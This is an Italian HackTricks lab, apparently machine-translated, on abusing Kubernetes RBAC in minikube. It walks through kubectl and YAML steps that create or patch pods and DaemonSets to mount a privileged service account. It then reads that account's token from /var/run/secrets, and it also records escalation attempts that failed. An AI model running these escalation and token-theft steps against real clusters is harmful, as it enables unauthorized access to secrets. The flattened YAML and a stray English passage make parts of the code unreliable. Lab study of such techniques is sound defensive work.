Kubernetes Roles Abuse Lab

Laboratorio di Abuso dei Ruoli di Kubernetes

Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Puoi eseguire questi laboratori solo all'interno di minikube.

Creazione del Pod -> Escalation a ns SAs

Creeremo:

  • Un Service account "test-sa" con un privilegio di cluster per leggere i segreti

  • Saranno creati un ClusterRole "test-cr" e un ClusterRoleBinding "test-crb"

  • Saranno dati permessi per elencare e creare pod a un utente chiamato "Test"

  • Saranno creati un Role "test-r" e un RoleBinding "test-rb"

  • Quindi confermeremo che l'SA può elencare i segreti e che l'utente Test può elencare i pod

  • Infine impersoneremo l'utente Test per creare un pod che include l'SA test-sa e rubare il token dell'account di servizio.

  • Questo è il modo per mostrare come l'utente potrebbe ottenere privilegi in questo modo

Per creare lo scenario viene utilizzato un account amministratore. Inoltre, per esfiltrare il token dell'account di servizio in questo esempio viene utilizzato l'account amministratore per eseguire all'interno del pod creato. Tuttavia, come spiegato qui, la dichiarazione del pod potrebbe contenere l'esfiltrazione del token, quindi il privilegio "exec" non è necessario per esfiltrare il token, il permesso "create" è sufficiente.

```bash # Create Service Account test-sa # Create role and rolebinding to give list and create permissions over pods in default namespace to user Test # Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere

echo 'apiVersion: v1 kind: ServiceAccount metadata: name: test-sa

kind: Role apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-r rules:

  • apiGroups: [""] resources: ["pods"] verbs: ["get", "list", "delete", "patch", "create"]


apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: name: test-rb subjects:

  • kind: ServiceAccount name: test-sa

  • kind: User name: Test roleRef: kind: Role name: test-r apiGroup: rbac.authorization.k8s.io


kind: ClusterRole apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-cr rules:

  • apiGroups: [""] resources: ["secrets"] verbs: ["get", "list", "delete", "patch", "create"]


apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: test-crb subjects:

  • kind: ServiceAccount namespace: default name: test-sa apiGroup: "" roleRef: kind: ClusterRole name: test-cr apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -

Check test-sa can access kube-system secrets

kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets

Check user User can get pods in namespace default

kubectl --as Test -n default get pods

Create a pod as user Test with the SA test-sa (privesc step)

echo "apiVersion: v1 kind: Pod metadata: name: test-pod namespace: default spec: containers:

  • name: alpine image: alpine command: ['/bin/sh'] args: ['-c', 'sleep 100000'] serviceAccountName: test-sa automountServiceAccountToken: true hostNetwork: true"| kubectl --as Test apply -f -

Connect to the pod created an confirm the attached SA token belongs to test-sa

kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

Clean the scenario

kubectl delete pod test-pod kubectl delete clusterrolebinding test-crb kubectl delete clusterrole test-cr kubectl delete rolebinding test-rb kubectl delete role test-r kubectl delete serviceaccount test-sa

## Creare un Daemonset

To create a Daemonset in Kubernetes, you need to define a YAML file with the necessary specifications. Here's an example of how to create a Daemonset:

```yaml
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: my-daemonset
spec:
  selector:
    matchLabels:
      app: my-app
  template:
    metadata:
      labels:
        app: my-app
    spec:
      containers:
      - name: my-container
        image: my-image:latest

In the above YAML file, replace my-daemonset with the desired name for your Daemonset. The selector field specifies the labels used to identify the nodes where the Daemonset should run. The template field defines the pod template for the Daemonset, including the container specifications.

Save the YAML file and apply it using the kubectl apply command:

kubectl apply -f my-daemonset.yaml

This will create the Daemonset in your Kubernetes cluster, ensuring that a pod with the specified container runs on each node matching the label selector.

# Create Service Account test-sa
# Create role and rolebinding to give list & create permissions over daemonsets in default namespace to user Test
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: ["apps"]
resources: ["daemonsets"]
verbs: ["get", "list", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
subjects:
- kind: ServiceAccount
namespace: default
name: test-sa
apiGroup: ""
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -

# Check test-sa can access kube-system secrets
kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets

# Check user User can get pods in namespace default
kubectl --as Test -n default get daemonsets

# Create a daemonset as user Test with the SA test-sa (privesc step)
echo "apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: default
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: test-sa
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete daemonset alpine
kubectl delete clusterrolebinding test-crb
kubectl delete clusterrole test-cr
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa

Patch del Daemonset

In questo caso andremo a applicare una patch a un daemonset per far sì che il suo pod carichi il nostro service account desiderato.

Se l'utente ha il verbo update invece di patch, ciò non funzionerà.

# Create Service Account test-sa
# Create role and rolebinding to give list & update patch permissions over daemonsets in default namespace to user Test
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: ["apps"]
resources: ["daemonsets"]
verbs: ["get", "list", "patch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
subjects:
- kind: ServiceAccount
namespace: default
name: test-sa
apiGroup: ""
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io
---
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: default
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
automountServiceAccountToken: false
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100']' | kubectl apply -f -

# Check user User can get pods in namespace default
kubectl --as Test -n default get daemonsets

# Create a daemonset as user Test with the SA test-sa (privesc step)
echo "apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: default
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: test-sa
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete daemonset alpine
kubectl delete clusterrolebinding test-crb
kubectl delete clusterrole test-cr
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa

Non funziona

Creare/Modificare Associazioni

Non funziona:

  • Creare una nuova RoleBinding solo con il verbo create

  • Creare una nuova RoleBinding solo con il verbo patch (è necessario avere i permessi di associazione)

  • Non puoi farlo per assegnare il ruolo a te stesso o a un diverso SA

  • Modificare una nuova RoleBinding solo con il verbo patch (è necessario avere i permessi di associazione)

  • Non puoi farlo per assegnare il ruolo a te stesso o a un diverso SA

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa2
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["rolebindings"]
verbs: ["get", "patch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r2
rules:
- apiGroups: [""]
resources: ["pods"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb2
subjects:
- kind: ServiceAccount
name: test-sa
apiGroup: ""
roleRef:
kind: Role
name: test-r2
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -

# Create a pod as user Test with the SA test-sa (privesc step)
echo "apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-r2
subjects:
- kind: ServiceAccount
name: test-sa2
apiGroup: ""
roleRef:
kind: Role
name: test-r2
apiGroup: rbac.authorization.k8s.io"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete rolebinding test-rb
kubectl delete rolebinding test-rb2
kubectl delete role test-r
kubectl delete role test-r2
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa2

Bind espliciti

Nella sezione "Prevenzione dell'elevazione dei privilegi e avvio" di https://unofficial-kubernetes.readthedocs.io/en/latest/admin/authorization/rbac/ viene menzionato che se un SA può creare un Binding e ha permessi di Bind espliciti sul Ruolo/ClusterRole, può creare dei binding anche utilizzando Ruoli/ClusterRoles con permessi che non possiede. Tuttavia, non ha funzionato per me:

# Create 2 SAs, give one of them permissions to create clusterrolebindings
# and bind permissions over the ClusterRole "admin"
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa2
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["clusterrolebindings"]
verbs: ["get", "create"]
- apiGroups: ["rbac.authorization.k8s.io/v1"]
resources: ["clusterroles"]
verbs: ["bind"]
resourceNames: ["admin"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
subjects:
- kind: ServiceAccount
name: test-sa
namespace: default
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io
' | kubectl apply -f -

# Try to bind the ClusterRole "admin" with the second SA (won't work)
echo 'apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb2
subjects:
- kind: ServiceAccount
name: test-sa2
namespace: default
roleRef:
kind: ClusterRole
name: admin
apiGroup: rbac.authorization.k8s.io
' | kubectl --as system:serviceaccount:default:test-sa apply -f -

# Clean environment
kubectl delete clusterrolebindings test-crb
kubectl delete clusterrolebindings test-crb2
kubectl delete clusterrole test-cr
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa
# Like the previous example, but in this case we try to use RoleBindings
# instead of CLusterRoleBindings

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa2
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["clusterrolebindings"]
verbs: ["get", "create"]
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["rolebindings"]
verbs: ["get", "create"]
- apiGroups: ["rbac.authorization.k8s.io/v1"]
resources: ["clusterroles"]
verbs: ["bind"]
resourceNames: ["admin","edit","view"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
namespace: default
subjects:
- kind: ServiceAccount
name: test-sa
namespace: default
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io
' | kubectl apply -f -

# Won't work
echo 'apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb2
namespace: default
subjects:
- kind: ServiceAccount
name: test-sa2
namespace: default
roleRef:
kind: ClusterRole
name: admin
apiGroup: rbac.authorization.k8s.io
' | kubectl --as system:serviceaccount:default:test-sa apply -f -

# Clean environment
kubectl delete rolebindings test-rb
kubectl delete rolebindings test-rb2
kubectl delete clusterrole test-cr
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa2

Creazione arbitraria di ruoli

In questo esempio cerchiamo di creare un ruolo con le autorizzazioni di creazione e percorso sulle risorse dei ruoli. Tuttavia, K8s ci impedisce di creare un ruolo con più autorizzazioni di quelle dell'utente che lo sta creando:

# Create a SA and give the permissions "create" and "patch" over "roles"
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["roles"]
verbs: ["patch", "create", "get"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: ServiceAccount
name: test-sa
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
' | kubectl apply -f -

# Try to create a role over all the resources  with "create" and "patch"
# This won't wotrk
echo 'kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r2
rules:
- apiGroups: [""]
resources: ["*"]
verbs: ["patch", "create"]' | kubectl --as system:serviceaccount:default:test-sa apply -f-

# Clean the environment
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete role test-r2
kubectl delete serviceaccount test-sa
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated